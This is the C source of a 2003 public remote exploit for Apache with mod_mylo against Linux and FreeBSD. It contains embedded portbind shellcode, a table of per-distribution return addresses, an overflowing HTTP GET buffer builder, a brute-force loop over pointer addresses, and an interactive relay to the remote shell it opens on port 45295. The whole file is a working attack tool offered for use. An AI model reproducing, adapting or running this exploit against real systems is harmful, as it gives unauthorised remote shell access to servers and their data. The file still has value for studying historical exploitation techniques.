/*
Apache + mod_mylo remote exploit
By Carl Livitt / July 2003
carllivitt at hush dot com
Public release - Linux and FreeBSD targets.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>
#define SIZ 8096
#define HTTP_PORT 80
#define SHELL_PORT 45295
#define SOCKET_ERR -2
#define CONNECT_ERR -3
#define HOST_NOT_RESOLVED -4
#define BRUTE_FORCE_EXHAUSTED -5
#define SHELL_NOT_FOUND -7
#define SUCCESS 1
#define FAILED 0
// The following shellcode had 0x3f (?) chars in it which
// cause termination of our HTTP GET before the whole
// shellcode is written to the stack. The 0x3f's are
// needed because they are the dup2() syscall numbers. So,
// I've changed them to 0x3e's and INC'd them before doing
// an INT 0x80. Other than that, this shellcode is eSDee's.
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char linux_shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66"
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
// This shellcode is unchanged (why reinvent the wheel ?):
// --------
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 194 byte - forking portbind shellcode - port=0xb0ef(45295)
*/
char freebsd_shellcode[]=
"\x31\xc0\x31\xdb\x53\xb3\x06\x53"
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";
struct {
char *platform;
unsigned long bruteStart, bruteEnd;
unsigned long retAddr;
int offset, len;
char *shellcodePtr;
} targets[]= {
{ "SuSE 8.1, Apache 1.3.27 (installed from source) (default)",
0x08117c04,
0x08117dff, 0xbfffe9f0, 500, 4104, linux_shellcode },
{ "RedHat 7.2, Apache 1.3.20 (installed from RPM)", 0x08105104,
0x081051ff,
0xbfffe0b0, 1000, 4104, linux_shellcode },
{ "RedHat 7.3, Apache 1.3.23 (installed from RPM)", 0x080ef304,
0x080ef3ff,
0xbfffe190, 750, 4104, linux_shellcode },
{ "FreeBSD 4.8, Apache 1.3.27 (from Ports)", 0x080bf004,
0x080bf0ff, 0xbfbfea50
,3500, 4096, freebsd_shellcode },
NULL
};
char usage[]=
"Apache + mod_mylo remote exploit\n"
"By Carl Livitt (carllivitt at hush dot com)\n\n"
"Arguments: \n"
" -t target Attack 'target' host\n"
" -T platform Use parameters for target 'platform'\n"
" -h This help.\n";
void my_send(int, char *, ...);
void my_recv(int);
void make_exploitbuf(char *);
int connect_to_host(int);
int attempt_exploit(void);
void my_sleep(int n);
unsigned long retAddr=0,magic_r=0,MAGIC_R_START,MAGIC_R_END,
exactPointerAddy=0;
char buf[SIZ], host[SIZ]="";
int useTarget=0;
struct hostent *hostStruct;
main(int argc, char **argv) {
int ch, i;
while((ch=getopt(argc, argv, "t:T:e:hr:"))!=-1) {
switch(ch) {
case 't':
strncpy(host, optarg, SIZ-1);
break;
case 'T':
useTarget=atoi(optarg);
break;
case 'e':
exactPointerAddy=strtoul(optarg,NULL,16);
break;
case 'r':
retAddr=strtoul(optarg,NULL,16);
break;
case 'h':
default:
printf("%s\n",usage);
printf("Available platforms:\n");
for(i=0;targets[i].platform;i++)
printf("%2d. %s\n", i, targets[i].platform);
printf("\n");
exit(0);
break; // it's good practice :)
}
}
// Sanity check
if(!retAddr && exactPointerAddy) {
printf("[*] You must give RET address when specifying a pointer
address\n");
printf(" A good place to start is 0xbfffe0b0(linux) or
0xbfbfe0b0(freeBSD)\n");
printf(" Also remember to pass a -T x flag... things will be
unpredictable\n");
printf(" if you don't!\n");
exit(0);
}
if((hostStruct=gethostbyname(host))==NULL) {
printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n",
host,argv[0]);
exit(0);
}
switch(attempt_exploit()) {
case HOST_NOT_RESOLVED:
printf("[*] Couldn't connect to host: %s not found.\n", host);
break;
case SOCKET_ERR:
printf("[*] Couldn't grab a socket!\n");
break;
case CONNECT_ERR:
printf("[*] Connection to %s was rejected\n",host);
break;
case SHELL_NOT_FOUND:
printf("[*] This attempt failed ...\n");
break;
case BRUTE_FORCE_EXHAUSTED:
printf("[*] Bruteforce failed.\n");
break;
case SUCCESS:
break;
default:
printf("[*] ERROR: There was no error!\n");
break;
}
printf("\nHave a nice day!\n");
exit(0);
}
int attempt_exploit(void) {
fd_set rfds;
int sock,retVal,r;
if(exactPointerAddy) {
printf("[-] Using 0x%08x for pointer addy\n",
exactPointerAddy);
if((sock=connect_to_host(HTTP_PORT))<=0)
return sock;
magic_r=exactPointerAddy;
make_exploitbuf(buf);
my_send(sock, buf);
my_recv(sock);
close(sock);
my_sleep(100000);
if((sock=connect_to_host(SHELL_PORT))<=0) {
return sock;
}
} else { // Do crappy bruteforce loop
printf("[-] Attempting attack [ %s ] ...\n",
targets[useTarget].platform);
MAGIC_R_START=targets[useTarget].bruteStart;
MAGIC_R_END=targets[useTarget].bruteEnd;
retAddr=targets[useTarget].retAddr;
for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {
printf("[-] Trying 0x%08x ... \r", magic_r);fflush(stdout);
if((sock=connect_to_host(HTTP_PORT))<=0)
return sock;
make_exploitbuf(buf);
my_send(sock, buf);
my_recv(sock);
close(sock);
my_sleep(50000);
if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {
printf("\n[-] Found request_rec address © 0x%08x\n",
magic_r);
break;
}
}
if(magic_r>MAGIC_R_END)
return BRUTE_FORCE_EXHAUSTED;
}
printf("[-] Connected to %s! You can type commands now:\n",
host);
// Now let the attacker issue commands to the remote
// shell, just as if (s)he had launched 'nc host 45295'.
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r); // loop until connection terminates
close(sock);
return SUCCESS;
}
// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p) {
int sock;
struct sockaddr_in saddr;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return SOCKET_ERR;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sock);
return CONNECT_ERR;
} else
return sock;
}
void make_exploitbuf(char *b) {
unsigned long *ptr;
char *sc=(char *)&targets[useTarget].shellcodePtr[0];
memset(b,0x00,SIZ-1);
strcat(b,"GET ");
memset(b+4,0x90,targets[useTarget].len);
memcpy((b+targets[useTarget].len)-(strlen(sc)+targets[useTarget].offset)-9,sc,strlen(sc));
ptr=(unsigned long *)&b[strlen(b)];
*(ptr++)=retAddr;
*ptr=magic_r;
strcat(b, "\n\n");
}
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
va_list ap;
char *buf;
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}
// Another handy function to read data from a socket.
void my_recv(int s) {
int len;
char buf[SIZ];
len=recv(s, buf, SIZ-1, 0);
buf[len]=0;
}
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}
securitydot.net - 2003-07-28
|
